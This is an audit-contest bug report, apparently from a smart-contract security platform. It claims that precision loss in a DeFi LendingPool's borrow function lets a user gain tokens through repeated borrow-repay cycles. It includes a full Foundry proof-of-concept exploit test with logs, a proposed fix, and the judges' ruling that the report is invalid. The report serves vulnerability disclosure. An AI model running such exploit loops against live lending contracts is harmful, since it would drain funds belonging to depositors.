Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

LendingPool can be drained due to precision loss when borrowing

Summary

The LendingPools uffers from precision loss during borrow-repay cycles due to inconsistent rounding in ray math operations. This allows users to gain small amounts of tokens with each cycle, which becomes more significant with lower decimal tokens like WBTC (8 decimals) or USDC/USDT(6 decimals).

*ps: this is not a known issue. *

Vulnerability Details

In the _borrow function, the protocol scales down the amount using rayDiv but transfers the original amount to the user:

//LendingPool._borrow
uint256 scaledAmount = amount.rayDiv(reserve.usageIndex);
// @audit rounded-down value stored.
user.scaledDebtBalance += scaledAmount;
// @audit-issue original amount transferred
IRToken(reserve.reserveRTokenAddress).transferAsset(msg.sender, amount);

This creates a discrepancy between the amount borrowed and the debt recorded, as a.rayDiv(x) always rounds down to a value less than or equal to a. Each borrow-repay cycle captures this rounding difference as profit.

PoC

First, we have to fix a few bugs submitted in other reports to reproduce this PoC.

In StabilityPool:

@@ -452,11 +452,9 @@ contract StabilityPool {
_update();
- // Get the user's debt from the LendingPool.
- uint256 userDebt = lendingPool.getUserDebt(userAddress);
- uint256 scaledUserDebt = WadRayMath.rayMul(userDebt, lendingPool.getNormalizedDebt());
+ lendingPool.updateState();
+ // Get the user's debt from the LendingPool.
+ uint256 scaledUserDebt = lendingPool.getUserDebt(userAddress);
- if (userDebt == 0) revert InvalidAmount();
+ if (scaledUserDebt == 0) revert InvalidAmount();
uint256 crvUSDBalance = crvUSDToken.balanceOf(address(this));

In DebtToken.sol:

@@ -251,5 +251,5 @@ contract DebtToken {
function totalSupply() public view override(ERC20, IERC20) returns (uint256) {
uint256 scaledSupply = super.totalSupply();
- return scaledSupply.rayDiv(ILendingPool(_reservePool).getNormalizedDebt());
+ // BUGFIX 1 - Incorrect calc with rayDiv. Should be rayMul.
+ return scaledSupply.rayMul(ILendingPool(_reservePool).getNormalizedDebt());
}

Let's setup the test:

  • Install foundry through:

    • npm i --save-dev @nomicfoundation/hardhat-foundry

    • Add require("@nomicfoundation/hardhat-foundry");on hardhat config file

    • Run npx hardhat init-foundry and forge install foundry-rs/forge-std --no-commit

  • Create a file called LendingPool.t.sol in the test folder

  • Paste the code below

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
contract LendingPoolTest is Test {
using WadRayMath for uint256;
// contracts
StabilityPool stabilityPool;
LendingPool lendingPool;
RToken rToken;
DEToken deToken;
DebtToken debtToken;
RAACMinter raacMinter;
crvUSDToken crvUSD;
RAACToken raacToken;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
// users
address owner = address(1);
address user1 = address(2);
address user2 = address(3);
address user3 = address(4);
address[] users = new address[](3);
function setUp() public {
// setup users
users[0] = user1;
users[1] = user2;
users[2] = user3;
vm.label(user1, "USER1");
vm.label(user2, "USER2");
vm.label(user3, "USER3");
// initiate timestamp and block
vm.warp(1738798039); // 2025-02-05
vm.roll(100); // block
vm.startPrank(owner);
_deployAndSetupContracts();
vm.stopPrank();
_mintCrvUsdTokenToUsers(1000e18);
_depositCrvUsdIntoLendingPoolForAllUsers(100e18);
_liquidateRandomUserAndAccrueInterest();
}
function test_userCanDrainProtocol_byBorrowingAndRepaying() public {
// pre conditions
// 1. User mints one NFT.
uint256 tokenId = 2;
uint256 nftPrice = 300e18;
_setupHousePrice(nftPrice, tokenId);
vm.startPrank(user2);
_mintNFTwithTokenId(tokenId, nftPrice);
vm.stopPrank();
// action: User exploit the LendingPool by:
// 1. Depositing NFT
// 2. Borrowing with a discount
// 3. Repaying the borrow
// 4. Profit.
uint256 userCrvUsdBalanceBefore = crvUSD.balanceOf(user2);
console.log("User balance started with: %e", userCrvUsdBalanceBefore);
for(uint i = 0; i < 2300; i++) {
console.log("--------------starting iteration: %d ---------------", i+1);
_depositNFT_borrow_repay_in_the_same_block(tokenId, nftPrice);
}
console.log("User balance ended with: %e", crvUSD.balanceOf(user2));
console.log("Profit: %e", crvUSD.balanceOf(user2) - userCrvUsdBalanceBefore);
// assert user has more crvUSD than before
assertGt(crvUSD.balanceOf(user2), userCrvUsdBalanceBefore, "!exploit the protocol");
}
// HELPER FUNCTIONS
function _deployAndSetupContracts() internal {
// Deploy base tokens
crvUSD = new crvUSDToken(owner);
raacToken = new RAACToken(owner, 100, 50);
// Deploy real oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner); // Set owner as oracle
// Deploy real NFT contract
raacNFT = new RAACNFT(
address(crvUSD),
address(raacHousePrices),
owner
);
// Deploy core contracts with proper constructor args
rToken = new RToken(
"RToken",
"RTK",
owner,
address(crvUSD)
);
deToken = new DEToken(
"DEToken",
"DET",
owner,
address(rToken)
);
debtToken = new DebtToken(
"DebtToken",
"DEBT",
owner
);
// Deploy pools with required constructor parameters
lendingPool = new LendingPool(
address(crvUSD), // reserveAssetAddress
address(rToken), // rTokenAddress
address(debtToken), // debtTokenAddress
address(raacNFT), // raacNFTAddress
address(raacHousePrices), // priceOracleAddress
0.8e27 // initialPrimeRate (RAY)
);
// Deploy RAACMinter with valid constructor args
raacMinter = new RAACMinter(
address(raacToken),
address(0x1234324423), // stability pool
address(lendingPool),
owner
);
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken), // _rToken
address(deToken), // _deToken
address(raacToken), // _raacToken
address(raacMinter), // _raacMinter
address(crvUSD), // _crvUSDToken
address(lendingPool) // _lendingPool
);
raacMinter.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
// setup raacToken's minter and whitelist
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
}
function _liquidateRandomUserAndAccrueInterest() internal {
_depositNftBorrowFunds(user1, 1, 300e18, true);
vm.startPrank(owner);
// liquidate user
lendingPool.initiateLiquidation(user1);
// pass grace period
_advanceInTime(3 days);
lendingPool.updateState();
// 1 sec after updating the pool's state, we call liquidateBorrower.
_advanceInTime(1 seconds);
// user scaled debt
lendingPool.updateState();
// fund stability pool with crvUSD to cover the debt
deal(address(crvUSD), address(stabilityPool), lendingPool.getUserDebt(user1));
stabilityPool.liquidateBorrower(user1);
vm.stopPrank();
}
function _depositNFT_borrow_repay_in_the_same_block(uint256 tokenIdToDeposit, uint256 nftPrice) internal {
uint256 userCrvUsdBalanceBefore = 0;
vm.startPrank(user2);
raacNFT.approve(address(lendingPool), tokenIdToDeposit);
lendingPool.depositNFT(tokenIdToDeposit);
console.log("user balance before");
_printUserBalances(user2);
userCrvUsdBalanceBefore = crvUSD.balanceOf(user2);
_borrowCrvUsdTokenFromLendingPool(nftPrice/2);
vm.stopPrank();
// repay all debt
vm.startPrank(user2);
lendingPool.repay(lendingPool.getUserDebt(user2));
lendingPool.withdrawNFT(tokenIdToDeposit);
vm.stopPrank();
console.log("user balance after");
_printUserBalances(user2);
}
function _printUserBalances(address user) internal {
console.log("");
uint256 userCrvBalance = crvUSD.balanceOf(user);
console.log("user crv balance: %e", userCrvBalance);
}
function _depositCrvUsdIntoLendingPoolForAllUsers(uint256 initialDeposit) internal {
// iterate users array and deposit into lending pool
for (uint i = 0; i < users.length; i++) {
vm.prank(users[i]);
lendingPool.deposit(initialDeposit);
}
}
function _mintCrvUsdTokenToUsers(uint256 initialBalance) internal {
for (uint i = 0; i < users.length; i++) {
_mintCrvUsdTokenToUser(initialBalance, users[i]);
}
}
function _mintCrvUsdTokenToUser(uint256 initialBalance, address user) internal {
vm.prank(owner);
crvUSD.mint(user, initialBalance);
vm.startPrank(user);
crvUSD.approve(address(raacNFT), type(uint256).max);
crvUSD.approve(address(lendingPool), type(uint256).max);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
}
function _advanceInTime(uint256 time) internal {
vm.warp(block.timestamp + time);
vm.roll(block.number + 10000);
}
function _advanceInTimeAndAccrueInterestInLendingPool(uint256 time) internal {
uint256 usageIndex = lendingPool.getNormalizedDebt();
_advanceInTime(time);
lendingPool.updateState();
}
function _setupHousePrice(uint256 housePrice, uint256 newValue) internal {
vm.startPrank(owner);
raacHousePrices.setHousePrice(newValue, housePrice);
vm.stopPrank();
}
function _mintNFTwithTokenId(uint256 tokenId, uint256 housePrice) internal {
raacNFT.mint(tokenId, housePrice);
raacNFT.approve(address(lendingPool), tokenId);
}
function _mintAndDepositNftInLendingPool(uint256 tokenId, uint256 housePrice) internal {
_mintNFTwithTokenId(tokenId, housePrice);
lendingPool.depositNFT(tokenId);
}
function _borrowCrvUsdTokenFromLendingPool(uint256 amount) internal {
lendingPool.borrow(amount);
}
function _depositNftBorrowFunds(address user, uint256 tokenId, uint256 nftPrice, bool makeUserLiquidatable) internal {
_setupHousePrice(nftPrice, tokenId);
vm.startPrank(user);
_mintAndDepositNftInLendingPool(tokenId, nftPrice);
_borrowCrvUsdTokenFromLendingPool(nftPrice/2);
vm.stopPrank();
if (makeUserLiquidatable) {
// accrue interest
_advanceInTimeAndAccrueInterestInLendingPool(365 days);
// house price drops, user is now liquidatable.
_setupHousePrice(nftPrice/2, tokenId);
}
}
}

Run: forge test --match-test test_userCanDrainProtocol -vv

Result from the last results. Notice the incremental balance for the user:

user crv balance: 6.00000000000000002497e20
--------------starting iteration: 2498 ---------------
user balance before
user crv balance: 6.00000000000000002497e20
user balance after
user crv balance: 6.00000000000000002498e20
--------------starting iteration: 2499 ---------------
user balance before
user crv balance: 6.00000000000000002498e20
user balance after
user crv balance: 6.00000000000000002499e20
--------------starting iteration: 2500 ---------------
user balance before
user crv balance: 6.00000000000000002499e20
user balance after
user crv balance: 6.000000000000000025e20
User balance ended with: 6.000000000000000025e20
Profit: 2.3e3

Impact

  • Users can drain value from the protocol by repeatedly borrowing and repaying, accumulating small rounding profits

  • The impact is magnified for tokens with lower decimals as the rounding losses represent a larger portion of the value

Tools Used

Manual Review & Foundry

Recommendations

In the borrow function, transfer the rounded token amount to the user, not the original amount.

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
...
// Transfer borrowed amount to user
- IRToken(reserve.reserveRTokenAddress).transferAsset(msg.sender, amount);
+ IRToken(reserve.reserveRTokenAddress).transferAsset(msg.sender, scaledAmount.rayMul(reserve.usageIndex));
}

Let's run the PoC again. Notice we are not able to extract anything from the protocol:

user crv balance: 6e20
User balance ended with: 6e20
@> Profit: 0e0
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 718.89ms (711.65ms CPU time)
Ran 1 test suite in 751.76ms (718.89ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/LiquidationIssues.t.sol:LendingPoolTest
[FAIL: !exploit the protocol: 600000000000000000000 <= 600000000000000000000] test_userCanDrainProtocol_byBorrowingAndRepayi
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

holydevoti0n Submitter
7 months ago
holydevoti0n Submitter
7 months ago
inallhonesty Lead Judge
7 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!